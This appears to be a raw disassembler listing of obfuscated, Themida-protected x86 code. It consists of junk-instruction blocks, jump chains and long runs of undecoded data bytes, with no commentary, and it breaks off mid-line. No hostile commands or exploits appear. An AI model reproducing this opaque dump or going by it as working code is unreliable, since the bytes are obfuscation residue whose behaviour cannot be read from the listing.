dd 4F396C87h, 0FFBC47E9h, 46E981FFh, 0E9156033h, 0FFFFAD51h dd 8904EC83h, 1EBB241Ch, 29524D3Ch, 5B04245Ch, 0FFC004E9h dd 24148BFFh, 4C481h, 89530000h, 4C381E3h, 83000000h, 1C8702EBh dd 89665C24h, 94B3241Ch, 80F0B652h, 0F32867EEh, 8124148Bh dd 4C4h, 0E9CBFE00h, 0FFFFFA2Fh ; --------------------------------------------------------------------------- loc_54A090: ; CODE XREF: Themida_:0054E8D5j mov [esp], esi jmp loc_54DFD1 ; --------------------------------------------------------------------------- dd 5E08950h, 4, 0FFFC61E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A0A5: ; CODE XREF: Themida_:0054F817j push ebp jmp loc_54B172 ; --------------------------------------------------------------------------- loc_54A0AB: ; CODE XREF: Themida_:0054B347j add esp, 4 add edx, 80404068h mov ebp, edx mov edx, [esp] add esp, 4 sub [edi+24h], ebp mov ebp, [esp] add esp, 4 loc_54A0C8: ; CODE XREF: Themida_:loc_54B0D2j push 5ADAh jmp loc_54842D ; --------------------------------------------------------------------------- dw 148Bh dd 4C48324h, 8324348Bh, 0EFC104C4h, 0BD4CE903h, 0F381FFFFh dd 5D272134h, 5B55E9h, 0DF015D00h, 0C78CE95Bh, 8950FFFFh dd 88E957E0h, 68FFFFD5h, 10B1h, 0BE243489h, 7E7D2762h dd 3679C681h, 0C5E9A42Dh, 80000029h, 0E5C07DF5h, 80CDFE08h dd 0C580E7C5h, 0FFE80002h, 5DE92434h, 8100000Dh, 23A1242Ch dd 0E95D64D4h, 563Fh, 7BF5805Bh, 47E9E830h, 0FFFFFFD8h dd 669D1C77h, 4116658h, 0AEE99C24h, 81FFFFA4h, 8A04246Ch dd 8B2C4425h, 54522404h, 5892E9h db 0 ; --------------------------------------------------------------------------- loc_54A16D: ; CODE XREF: Themida_:00550A5Cj push ecx mov ecx, 4D5A05CAh not ecx jmp loc_5494EE ; --------------------------------------------------------------------------- dw 0CBAh dd 0E95E987Fh, 4BC7h, 24048B66h, 3ADD68h, 24348900h, 2C72E9h db 0 ; --------------------------------------------------------------------------- loc_54A195: ; CODE XREF: Themida_:00546BA0j push ebx jmp loc_54D5B9 ; --------------------------------------------------------------------------- db 31h dd 0FB4DE9FAh, 0BEB8FFFFh, 5159664Bh, 500D0AB9h, 0D0E18123h dd 8116B157h, 90AF36E9h, 8BC8299Ch, 0C481240Ch, 4, 0C802A125h dd 0A69CE91Bh, 2D68FFFFh, 89000053h, 0CCE9240Ch, 81000040h dd 0E3042444h, 0FF57E044h, 90E92434h, 30FFFFC1h, 0C8B66E8h dd 2C48324h, 0FE2AB050h, 0B321E9C0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A1FE: ; CODE XREF: Themida_:00550494j mov ah, 4Dh shr ah, 5 shr ah, 2 dec ah neg ah add ah, 77h add ah, 5Dh add bl, ah pop eax xor dl, bl pop ebx sub al, dl jmp loc_54EF96 ; --------------------------------------------------------------------------- db 66h, 51h, 53h dd 184068h, 240C8900h, 665BB050h, 0E9C4B252h, 0FFFFFA74h dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 4D54E955h, 2C8B0000h dd 0B7B5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A252: ; CODE XREF: Themida_:005464ECj pop ebp mov ebp, ebx jmp loc_54DC99 ; --------------------------------------------------------------------------- dw 0E480h dd 0E8EC8001h, 8058E700h, 0F83039EFh, 5251665Bh, 884FB551h dd 0CA3E9EAh, 3C8B0000h, 4C48324h, 0C8BC821h, 4C48324h dd 0E7E9C009h, 0F700001Dh, 0EF814FD7h, 86729B1Bh, 0FFD038E9h dd 4C783FFh, 5C243C87h, 677FE957h, 0E8C10000h, 1C08305h dd 3504E8C1h, 601BFD88h, 34FFC201h, 0EC835824h, 241C8904h dd 0B951E389h, 72934FC9h, 4FC5E981h, 0CB017293h, 4C38359h dd 5C241C87h, 5311EA81h, 26E93330h, 88FFFFA3h, 0EC815BFCh dd 4, 68241C89h, 4986h, 0FFD1D2E9h, 24048BFFh, 4EC81h dd 0C890000h, 57595424h, 4BFh, 5156E900h, 89660000h, 65B62414h dd 5012E9h, 24248B00h, 9C2424D3h, 0FFBADBE9h, 48B66FFh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54F327 ; --------------------------------------------------------------------------- db 59h, 0FFh, 34h dd 0C4815824h, 4, 0FF1C4F21h, 0C8B2434h, 4C48124h, 52000000h dd 3DE9E289h, 51000059h, 0DDE95652h, 83FFFFB5h, 0E95604C4h dd 6534h, 83242489h, 0E9042404h, 177Ah, 8BB75366h, 5B66F800h dd 5B2434FFh, 81E68956h, 4C6h, 6269E900h, 895C0000h, 0DFBE2434h dd 81008247h, 0CF4D81C5h, 81F5293Bh, 0CF4D81EDh, 0EE015E3Bh dd 0BFE9505Dh, 89FFFFBCh, 4C581E5h, 81000000h, 4C5h, 0CA01E900h dd 0E95AFFFFh, 0FFFFB6B2h, 1242C981h, 0E1817200h, 69E7640Bh dd 1EE9D9F7h, 89000020h, 640868E1h, 34890000h, 1DBD5524h dd 8129B00Eh, 9058D7CDh, 0A572E94Bh, 15DFFFFh, 0BE565EF7h dd 2, 3CE9F701h, 81FFFFEBh, 4EFh, 2BA7E900h, 0BB530000h dd 6D712AC6h, 115CC381h, 0E9576C18h, 448h, 2404895Ch, 0FFA1DCE9h dd 241489FFh, 0FFFFFF68h, 0D3E95AFFh, 66000009h, 0E9240C8Bh dd 0DD4h, 207F83ADh, 0D5840F00h, 52FFFFE8h, 0FFC341E9h dd 5FF989FFh, 4E12E9h, 0FFC68300h, 87FFC683h, 0F7D387DEh dd 87D387D2h, 7EEE81DEh, 89C334A5h, 24348BF2h, 3104C483h dd 24148BD0h, 0E904C483h, 16DDh ; --------------------------------------------------------------------------- loc_54A488: ; CODE XREF: Themida_:0054FF93j xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], ebx jmp loc_5503BF ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 4EC8124h, 89000000h, 5954240Ch, 1599BD55h, 0ED81332Fh dd 332F1595h, 0E95DE901h, 341Eh, 5358E530h, 0B6525351h dd 8BF3882Bh, 0C4832414h, 5BD98804h, 8059CF88h, 0FD001EC5h dd 281EB050h, 5DE958C5h, 5FFFFFFCh, 59304A89h, 0FFD553E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A4ED: ; CODE XREF: Themida_:0054F8F9j push edi jmp loc_54F34A ; --------------------------------------------------------------------------- db 5Eh dd 3ADE9h, 24048F00h, 4240483h, 5624348Bh, 0C681E689h dd 4, 0FFF08AE9h, 2434FFFFh, 8324348Bh, 0EC8104C4h, 4 dd 89240C89h, 4C181E1h, 83000000h, 0C8704C1h, 5585C24h dd 6BEE78B3h, 4EC8357h, 0E9243489h, 4D39h, 83241C8Bh, 0F76804C4h dd 0E9000068h, 4E85h, 0D9E952ACh, 6800003Ah, 4050h, 57242C89h dd 371FAABFh, 650FBD5Ah, 0D7E9F1A7h db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A573: ; CODE XREF: Themida_:005470CFj push ecx mov cl, 85h shl cl, 5 inc cl not cl xor cl, 54h sub bl, 52h sub bl, cl push small 4D5Eh mov [esp], ax mov al, 52h add bl, al pop ax mov ecx, [esp] push ecx mov ecx, esp jmp loc_54CF95 ; --------------------------------------------------------------------------- loc_54A59E: ; CODE XREF: Themida_:0054C911j pop esp mov [esp], esi jmp loc_5487AF ; --------------------------------------------------------------------------- db 0BFh dd 6951211Fh, 0F747E7D1h, 31E781D7h, 815FD34Ah, 0AEF804C7h dd 3C681F2h, 176386Eh, 3EE81FEh, 5F76386Eh, 8B243487h dd 0ECE92424h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A5D7: ; CODE XREF: Themida_:00547C28j pop ebx add ebx, 4 sub esp, 4 mov [esp], ebp mov ebp, 225E36CFh sub ebp, 600222D4h push ecx mov ecx, 4B5D225Eh push eax mov eax, 51257EFEh shl eax, 1 jmp loc_550768 ; --------------------------------------------------------------------------- db 5Bh, 8Bh, 0Ch dd 4C48124h, 0E9000000h, 0FFFF9FF5h ; --------------------------------------------------------------------------- loc_54A614: ; CODE XREF: Themida_:0054EDA8j pop ebx xchg ecx, [esp] pop esp mov [esp], edx mov edx, 4 add ebp, 3CD24F84h add ebp, edx sub ebp, 3CD24F84h pop edx push ebx push 0DE45F64h pop ebx push edx mov edx, 4F078F8h jmp loc_54BB78 ; --------------------------------------------------------------------------- dw 0EB81h dd 102811C7h, 0FFB0F6E9h, 0EE6850FFh, 89000010h, 0E389241Ch dd 4C381h, 0EB830000h, 241C3304h, 33241C31h, 0E95C241Ch dd 0FFFFCDAEh, 0E92434FFh, 0FFFFDEE9h, 0F6240486h, 249BE9D0h dd 5D540000h, 0FFCB23E9h, 240481FFh, 4, 4C6815Eh, 81000000h dd 4ECh, 242C8900h, 0FF1BA52h, 0C14236CEh, 0F28107E2h dd 6707F904h, 0E9D68956h, 5B44h, 4C18158h, 87000000h, 0E95C240Ch dd 0FFFFD502h, 8324348Bh, 1C8704C4h, 24248B24h, 0E9241489h dd 62C0h, 2404875Eh, 1619E9h db 0 ; --------------------------------------------------------------------------- loc_54A6E5: ; CODE XREF: Themida_:0054C6A7j add esp, 4 sub ebx, 0AECDE858h jmp loc_54EC6E ; --------------------------------------------------------------------------- db 52h dd 0C2FED7B2h, 75B05066h, 5866C208h, 0C003E2C0h, 0C28008E2h dd 5AD48870h, 0F480E4D0h, 58E188A4h, 0FFE791E9h, 5DEF89FFh dd 2865E9h, 1FE28100h, 81548D23h, 0B93E42C2h, 0BD55574Fh dd 50012DC3h, 632958BFh, 5DEF315Ch, 685FFA01h, 6EC4h, 0E9240489h dd 0FFFFB7EEh ; --------------------------------------------------------------------------- loc_54A74C: ; CODE XREF: Themida_:0054DE2Aj add esp, 4 sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], esi push ecx mov ecx, 800h mov esi, ecx pop ecx and eax, esi jmp loc_54CD9F ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd offset dword_50E448+5A1h dd 0E9D1F700h, 60F3h, 87243C31h, 87D1F7CFh, 243C87CFh dd 60F5815Dh, 314BBF6Bh, 8B04246Ch, 0C481242Ch, 4, 8324048Bh dd 0BF5704C4h, 5C5A109Fh, 815FF831h, 305311C2h, 9AEA8133h dd 81602030h, 0D449CEAh, 9FC1E937h, 0EF83FFFFh, 243C8704h dd 240C895Ch, 4B9h, 8BCB0100h, 38E9240Ch db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A7DF: ; CODE XREF: Themida_:00548BE1j add ebx, 4 add ebx, 4 jmp loc_549CFA ; --------------------------------------------------------------------------- db 1, 0C6h, 0E9h dd 0FFFFE65Ah, 8BC8315Fh, 43E9240Ch, 5000059h, 4, 3014E950h dd 89660000h, 0BF66243Ch, 31661620h, 5265E9F8h, 0C2810000h dd 4, 4D25BF57h, 0DFF73FB8h, 3691C781h, 0C78100F6h, 0E6A6D4Fh dd 1ABBE56h, 0CE815F09h, 467F3826h, 331AE9h, 64226800h dd 24890000h, 4ABCE924h, 0D0000000h, 0FFAE0BE9h, 243CD3FFh dd 9DA7E99Ch, 7AB8FFFFh, 0E9302D75h, 0FFFFC027h, 1B630ABFh dd 0E71FE914h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A876: ; CODE XREF: Themida_:005477B3j pop ecx and eax, ebx push dword ptr [esp] pop ebx add esp, 4 or eax, eax jmp loc_54B0D2 ; --------------------------------------------------------------------------- dw 7AE9h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A88F: ; CODE XREF: Themida_:00545B89j sub dh, 0C3h xor bh, dh pop edx xor bh, 0F4h sub bh, 0ABh jmp loc_548FE9 ; --------------------------------------------------------------------------- loc_54A8A0: ; CODE XREF: Themida_:0054DFABj push ebx jmp loc_54B848 ; --------------------------------------------------------------------------- dw 815Dh dd 4C5h, 12A96800h, 0C890000h, 5D64B924h, 87E97F24h, 6800004Ch dd 270Fh, 89240489h, 405E0h, 0E8830000h, 24048704h, 8924248Bh dd 8852240Ch, 2E953C6h, 81000051h, 4C4h, 4C48100h, 53000000h dd 0B951E389h, 252E7817h, 0D9F7D1F7h, 4FCAE9h, 4C68100h dd 0E9000000h, 3981h, 8B24048Fh, 0C892424h, 9CEFE924h dd 5157FFFFh, 0C181E189h, 4, 8704E983h, 248B240Ch, 2BE95424h dd 31FFFFEFh, 0C2015BD8h, 8124048Bh, 4C4h, 0B8505600h dd 243464FAh, 0DFE9h db 0 ; --------------------------------------------------------------------------- loc_54A94D: ; CODE XREF: Themida_:0054EB8Bj mov esi, 5A6346A6h or esi, 51E90851h jmp loc_54C018 ; --------------------------------------------------------------------------- db 0B5h, 7Ah, 0B2h dd 0E12E93Eh, 3C870000h, 62685C24h, 8900007Fh, 0E0892404h dd 405h, 1193E900h, 0E9AC0000h, 0FFFFC722h, 4EC81h, 1C890000h dd 2474FF24h, 0B4E95B04h db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A997: ; CODE XREF: Themida_:0054ECD5j add esp, 4 xchg ecx, [esp] pop esp jmp loc_549573 ; --------------------------------------------------------------------------- db 83h dd 5F042404h, 46850h, 81580000h, 0D24009EFh, 81C70104h dd 0D24009C7h, 24048B04h, 4C481h, 0B8500000h, 4, 8758C729h dd 29E9243Ch, 21FFFFD3h, 0C2095FF8h, 0F168E2D1h, 0E9000069h dd 0FFFFFA45h, 4C481h, 48F0000h, 14E0E924h, 0CE300000h dd 12BBE959h, 0B3530000h, 44BDE93Dh, 74FF0000h, 8F5F0424h dd 895C2404h, 0F2E92404h, 0B4FFFF9Bh, 58E328C1h, 0C380D328h dd 16EB80C1h, 0E9C3285Ah, 4598h, 0BF1E132Dh, 186A0503h dd 5A255066h, 0E94B4B46h, 2FD4h, 7240480h, 0E924248Ah dd 461Fh, 0AE91E951h, 8B66FFFFh, 5755240Ch, 0C781E789h dd 4, 1A8DE9h, 6CB86800h, 0C890000h, 0F969E924h, 0D800FFFFh dd 0E0E9612Ch, 8100004Dh, 0FD2460EAh, 57895D02h, 47815A24h dd 10B67124h, 50D23192h, 0FFB705E9h, 2474FFFFh, 24348B04h dd 3628E956h, 815A0000h, 967A84EBh, 81C30163h, 967A84C3h dd 0DB70E963h, 0BB53FFFFh, 6EE5162Fh, 0E9D5C381h, 0DD01911Ah dd 4ED835Bh, 2474FF55h, 0B7D2E904h, 885BFFFFh, 0CFFE59CFh dd 0C089C780h, 0C78006E7h, 4E7C0ABh, 28BBC780h, 0F2DE9F8h dd 0EF800000h, 0A6CF8001h, 3EFFE9h db 0 ; --------------------------------------------------------------------------- loc_54AAF9: ; CODE XREF: Themida_:0054EAD0j add ebp, 2 jmp loc_54807A ; --------------------------------------------------------------------------- dd 240C8B66h, 51595451h, 0DCE9E189h, 5CFFFFD9h, 92B45066h dd 57CDE9h, 68535A00h, 5187h, 0E9240489h, 0FFFFFF20h, 28B6664h dd 0F188E950h, 0D7F7FFFFh, 0EF81D7F7h, 5E082148h, 0C573C781h dd 1AE9B099h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AB4B: ; CODE XREF: Themida_:0054F3C0j sub ecx, 0EAE9FCh mov ebp, ecx mov ecx, [esp] add esp, 4 and ecx, ebp push dword ptr [esp] push dword ptr [esp] jmp loc_5482FD ; --------------------------------------------------------------------------- loc_54AB69: ; CODE XREF: Themida_:0054FF0Ej add ebx, 4 jmp loc_54916E ; --------------------------------------------------------------------------- dd 0EFB3E94Fh, 8AE9FFFFh, 0FFFFFF9Ah, 34FF2434h, 2434FF24h dd 23E2E9h, 371B6800h, 8F540000h, 4812404h, 424h, 77E95F00h dd 3000002Fh, 0C7FE5AD7h, 2662E9h, 0ED816600h, 8166FFFFh dd 66ECE8EDh, 34FFE831h, 9C1CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ABC2: ; CODE XREF: Themida_:00549623j mov [esp], edi jmp loc_5461B5 ; --------------------------------------------------------------------------- dw 0D6F7h aBRruSuv db '│фЮrU╪И⌠V',0 dw 6600h dd 6824048Bh, 7015h, 11A4E9h, 0E9F03100h, 0FFFFC663h, 3C9DF781h dd 4F477375h, 6DAEB951h, 0C1816367h, 3A4E2C0Fh, 441FE981h dd 0F1E96048h, 51FFFFEAh, 0BD6F58B9h, 59CF29C6h, 3C8BFE29h dd 4C48124h, 81000000h, 71230AC7h, 81F72948h, 71230AEFh dd 9FCBE948h, 0FF58FFFFh, 2C8B2434h, 0BC06E924h, 0EC83FFFFh dd 242C8904h, 0E2D1E954h, 489FFFFh, 1916E924h, 0EB830000h dd 241C8704h, 241C895Ch, 70243481h, 5E53F40Ch, 0C70F681h dd 0E95B53F4h, 0FFFFFF75h, 27DCBD55h, 28BB6E71h, 1918ED8h dd 0F46FE9EBh, 0E089FFFFh, 0FFCA4AE9h, 2ECC0FFh, 0D956866h dd 241C8966h, 6E9F3B3h, 0E9000034h, 0FFFF9969h, 89243489h dd 55CDE9E6h, 0C3050000h, 0E9578C6Dh, 0FFFFD8D1h, 75E9D800h dd 0D3FFFFE4h, 0E99C242Ch, 0FFFF9945h, 243C335Ch, 33243C31h dd 248B243Ch, 2434FF24h, 0E92434FFh, 0D7Ch, 804DEE80h dd 1C8B54EEh, 0B15AE924h, 50BDFFFFh, 0E967E045h, 5889h dd 2D435BBBh, 435FB935h, 0E9E9352Dh, 8BFFFFA2h, 0E5E92424h dd 51000041h, 0E95E5956h, 0FFFFB555h ; --------------------------------------------------------------------------- loc_54AD14: ; CODE XREF: Themida_:0054D6D3j push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp shr ecx, 2 push eax mov eax, esp add eax, 4 push edx jmp loc_54FF7E ; --------------------------------------------------------------------------- loc_54AD2E: ; CODE XREF: Themida_:0054490Cj mov esi, 52A46C4Eh sub esi, 0F9A9916Bh jmp loc_55010F ; --------------------------------------------------------------------------- loc_54AD3E: ; CODE XREF: Themida_:0054C599j add esp, 4 xchg ebx, [esp] mov esp, [esp] div cx push ebx push esp pop ebx push eax jmp loc_550465 ; --------------------------------------------------------------------------- dw 0ED81h dd 15A20818h, 8124348Bh, 4C4h, 60D66800h, 0F0E90000h, 5300005Dh dd 1E685357h, 5B479659h, 0FFCBCCE9h, 58E100FFh, 8059CA20h dd 4FE987F2h, 56000051h, 7C5AB850h, 0FCE947F9h, 56000053h dd 0F9340B68h, 0D6F75E7Ah, 448FE9h, 240C8B00h, 5B04C483h dd 8EE95159h, 8B00000Fh, 0C481241Ch, 4, 0F0F5E950h, 0BB68FFFFh dd 89000024h, 25BB241Ch, 1762F4Ch, 5B08245Ch, 0E9240C8Bh dd 0FFFFA1D8h, 53F7E95Ah, 348B0000h, 4C48324h, 3DBB5356h dd 0BE544E36h, 0ABB1C9C7h, 815BDE01h, 921A35EFh, 81F72933h dd 921A35C7h, 3C875E33h, 0AB16E924h, 5729FFFFh, 24148B24h dd 2AD768h, 28A7E900h, 0C890000h, 0AB3AE924h, 5E54FFFFh dd 486BE957h, 4330000h, 24248B24h, 0FF2434FFh, 148B2434h dd 4C48124h, 55000000h, 0C5815D54h, 4, 4C581h, 2C870000h dd 0AAC2E924h, 5868FFFFh, 89000034h, 90E92414h, 5200004Ch dd 0A56B5E68h, 87E95A29h, 8BFFFFB4h, 0C4812414h, 4, 0FFC6F3E9h dd 6CA568FFh, 6C680000h, 0E900006Dh, 0FFFFE818h, 4C48359h dd 8904EC83h, 0EB62414h, 0C078F680h, 88E903E6h, 29FFFFA0h dd 0C3295DEBh, 7BBF5751h, 8957F60Dh, 243C8BF9h, 81E68956h dd 4C6h, 4C68300h, 2474FF56h, 48F5E04h, 0CB015C24h, 592434FFh dd 3F4BE9h, 241C3300h, 33241C31h, 9CE9241Ch, 8F00000Eh dd 248B2404h, 0C8B70F24h, 265D68h, 240C8900h, 0FF970CE9h dd 78E0B8FFh, 0D0F72CE9h, 0AC068A2Dh, 1D6EE919h, 0EB290000h dd 30FF665Dh, 0FF96F0E9h, 0EA8059FFh, 0D9F8E922h, 0D488FFFFh dd 48BE588h, 452CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AF2E: ; CODE XREF: Themida_:0054B843j pop edx push 34E9h mov [esp], ebx jmp loc_5493CA ; --------------------------------------------------------------------------- dd 0F260E950h, 875BFFFFh, 0C74EE9F9h, 0FD01FFFFh, 0FF9A49E9h dd 0C18159FFh, 72D9344Fh, 4198E9h, 5FFA2900h, 0CAC2815Eh dd 813F1E07h, 654F43C2h, 81C20108h, 654F43EAh, 0CAEA8108h dd 0E93F1E07h, 294Fh ; --------------------------------------------------------------------------- loc_54AF80: ; CODE XREF: Themida_:0054723Bj mov esi, [esp] add esp, 4 sub esi, 10174CAFh mov eax, esi mov esi, [esp] jmp loc_54BFBD ; --------------------------------------------------------------------------- aYusix db 'YUИ┬X',0 align 10h dd 7EFBF681h, 0E94E20DCh, 0FFFFC9BEh, 0E904EC83h, 45A0h dd 0ECE9F029h, 5700000Ch, 0FFB15DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54AFC1: ; CODE XREF: Themida_:0054BC76j pop esi push dword ptr [esp] pop ecx sub esp, 4 jmp loc_545B9D ; --------------------------------------------------------------------------- dw 0E388h dd 0E95BDD88h, 0FFFFDEA4h, 0FDE9D389h, 89FFFFFDh, 74FF2434h dd 8F5E0424h, 895C2404h, 5D54242Ch, 4C581h, 0EC810000h dd 4, 0E9240489h, 4D02h, 0E971F680h, 0FFFFBE76h, 7168B42Dh dd 1DE3E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B016: ; CODE XREF: Themida_:0054F376j pop ebp neg ebp xor ebp, 2157DACh jmp loc_54DF20 ; --------------------------------------------------------------------------- dd 215EF289h, 77FF5AD0h, 2434FF1Ch, 0FFF63BE9h, 405FFh dd 0C0E90000h, 89FFFFF7h, 7D0558C6h, 1669215h, 157D2DF0h dd 34FF6692h, 0C4835E24h, 24043304h, 33240431h, 685C2404h dd 6B11h, 8F240C89h, 55AEE900h, 0C5810000h, 131A076Eh dd 0ED81D529h, 131A076Eh, 7145C581h, 15A1A25h, 0C875DE9h dd 24D35C24h, 76E99C24h, 1FFFF95h, 0B8D5E9FBh, 74FFFFFFh dd 8F5A0424h, 315C2404h, 0E99C2404h, 0FFFF955Dh, 0FF9558E9h dd 240487FFh, 0FF9FA4E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B0B9: ; CODE XREF: Themida_:005501F7j add ebp, 4 jmp loc_54F64E ; --------------------------------------------------------------------------- loc_54B0C4: ; CODE XREF: Themida_:0054B160j mov esp, [esp] loc_54B0C7: ; CODE XREF: Themida_:0054742Bj sub esp, 4 mov [esp], esi jmp loc_54B599 ; --------------------------------------------------------------------------- loc_54B0D2: ; CODE XREF: Themida_:0054A885j jz loc_54A0C8 push dword ptr [edi+1Ch] push esi jmp loc_550AB9 ; --------------------------------------------------------------------------- loc_54B0E1: ; CODE XREF: Themida_:00549645j xchg eax, [esp] pop esp mov [esp], esi push esp jmp loc_549ED7 ; --------------------------------------------------------------------------- dw 0F389h dd 58C3295Eh, 0FFFFEB81h, 0BA52FFFFh, 5F6E647Ch, 51EA8142h dd 4A17A45Dh, 0F281D2F7h, 9EEEDC4Fh, 815AD331h, 6AED04C3h dd 2E73E9CFh, 0C890000h, 81E18924h, 4C1h, 4C18100h, 33000000h dd 69E9240Ch, 81000026h, 0CB042444h, 154EA45h, 81042444h dd 0CB04246Ch, 0E954EA45h, 0FFFFF00Bh, 926E95Eh, 0E8010000h dd 90FE9h db 0 ; --------------------------------------------------------------------------- loc_54B15D: ; CODE XREF: Themida_:005485F5j xor edi, [esp] jmp loc_54B0C4 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 0F704C483h, 4C89E9DEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B172: ; CODE XREF: Themida_:0054A0A6j mov ebp, esp add ebp, 4 push ebx jmp loc_54969E ; --------------------------------------------------------------------------- dd offset dword_582968 dd 240C8900h, 163FE9h db 0 ; --------------------------------------------------------------------------- loc_54B18D: ; CODE XREF: Themida_:0054E42Bj jmp loc_544609 ; --------------------------------------------------------------------------- loc_54B192: ; CODE XREF: Themida_:00548552j push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_546B5D ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 0CA6507BFh, 1B95108h, 29000000h, 0BB5359CFh, 3A23420Ah dd 0C1FFEB83h, 25E902EBh, 0BA000002h, 27E01037h, 0FFAC0EE9h dd 2E8C1FFh, 23CBE9h, 0C1D7F700h, 0E78103EFh, 28DC123Ah dd 454FEF81h, 0C781134Ch, 8881A0A1h, 0E95FFD31h, 0FFFFFCAFh dd 68242C89h, 1C84h, 57242489h, 4BFh, 247C0100h, 2C8B5F04h dd 0E9545224h, 0FFFFD0BEh, 4EC81h, 0C890000h, 68595424h dd 5941h, 43C0E9h, 243C8900h, 0C781E789h, 4, 4EF81h, 0EC810000h dd 4, 0FF243C89h, 0E9042474h, 0FFFFDE9Ch, 68622CACh, 51E3h dd 0FFD71DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54B25D: ; CODE XREF: Themida_:0054C374j mov eax, [esp] jmp loc_544A01 ; --------------------------------------------------------------------------- db 1, 0FEh, 5Fh dd 0EE81FE01h, 57B476D6h, 2C6815Fh, 56000000h, 42474FFh dd 0E924348Bh, 0FFFFC17Bh, 241CF766h, 937BE99Ch, 0C181FFFFh dd 592A14F8h, 8124048Bh, 4C4h, 22F18100h, 51000D1Ah, 0FFF35CE9h dd 4EC81FFh, 89000000h, 0E389241Ch, 4C381h, 0C3810000h dd 4, 5C241C87h, 0FF9340E9h, 0B9E957FFh, 50000026h, 4A1BA52h dd 0A0E95FACh db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B2DB: ; CODE XREF: Themida_:0054F455j sub cl, ah pop eax jmp loc_54FBB9 ; --------------------------------------------------------------------------- loc_54B2E3: ; CODE XREF: Themida_:005502E5j add edi, edx pop edx push ecx mov ecx, esp add ecx, 4 jmp loc_5460CF ; --------------------------------------------------------------------------- dd 4BFh, 5FF88900h, 258AB850h, 44012C44h, 70E90824h, 0BA000016h dd 5F607458h, 8BACC281h, 0D601A09Fh, 3800E9h, 43EB700h dd 2CF828AAh, 2434FFAAh, 7A4D685Bh, 0C890000h, 56E95324h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B337: ; CODE XREF: Themida_:0054FC2Bj inc ecx inc ecx push ebp mov ebp, 0C9E29B9h add ecx, ebp pop ebp or edx, ecx mov ecx, [esp] jmp loc_54A0AB ; --------------------------------------------------------------------------- dd 68243489h, 1D39h, 0E9241C89h, 0FFFFD076h, 42474FFh dd 3FDFE9h, 0F2E95100h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B36B: ; CODE XREF: Themida_:0054722Dj mov [esp], ebx jmp loc_54603C ; --------------------------------------------------------------------------- loc_54B373: ; CODE XREF: Themida_:0055047Ej pop eax sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi mov esi, esp jmp loc_548C6D ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0CEEB815Ch, 294C1D42h, 0CEC381C3h, 0E94C1D42h, 1CECh dd 0E9ABB551h, 27A5h, 4247429h, 0FFF164E9h, 4B9FFh, 0CA010000h dd 74FF5259h, 8F5A0424h, 215C2404h, 34FF1C57h, 24148B24h dd 4C481h, 0C4810000h, 4, 4CAFE9h, 0D831AD00h, 565F5457h dd 4BEh, 0E9F70100h, 0FFFFA595h, 8143D3F7h, 0F700F5F3h dd 5BDF09A0h, 6F8BF781h, 53E959CAh db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B403: ; CODE XREF: Themida_:0054835Bj mov edi, 1E9A5ABBh add edi, 1A9D25C6h sub edi, 337A220Bh inc edi or edi, 5D9A418Ch jmp loc_546B6E ; --------------------------------------------------------------------------- dd 0ACE0E9ADh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B426: ; CODE XREF: Themida_:0054CA80j mov eax, 4 add ebp, eax pop eax xchg ebp, [esp] pop esp shr ebp, 7 sub ebp, 3273D4h and eax, ebp mov ebp, [esp] jmp loc_54C0FB ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 4C4815Ch, 83000000h, 48904ECh, 12E86824h, 2C890000h dd 61F06824h, 0CAE90000h db 93h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B467: ; CODE XREF: Themida_:0054F182j push ecx mov ecx, 7C787F0Ch sub [esp+4], ecx pop ecx pop eax push 6C98h mov [esp], edx push ebp mov ebp, 4BB958C0h jmp loc_54C678 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 2C681h, 34870000h, 0C3005C24h, 8031B151h, 0D1F671F1h dd 8007E9C0h, 0C1FEC3C1h, 2862F180h, 0CE959CBh, 68FFFFF4h dd 257h, 0E9241489h, 0FFFFA7A3h, 0E48EE956h, 0E689FFFFh dd 0FFA153E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B4CD: ; CODE XREF: Themida_:00544F5Fj mov eax, edx pop edx and ecx, eax push dword ptr [esp] mov eax, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp shr ecx, 7 push 1E1Bh jmp loc_54498F ; --------------------------------------------------------------------------- db 81h dd 0D57975E5h, 0E1B5E915h, 0C130FFFFh, 582434FFh, 4C481h dd 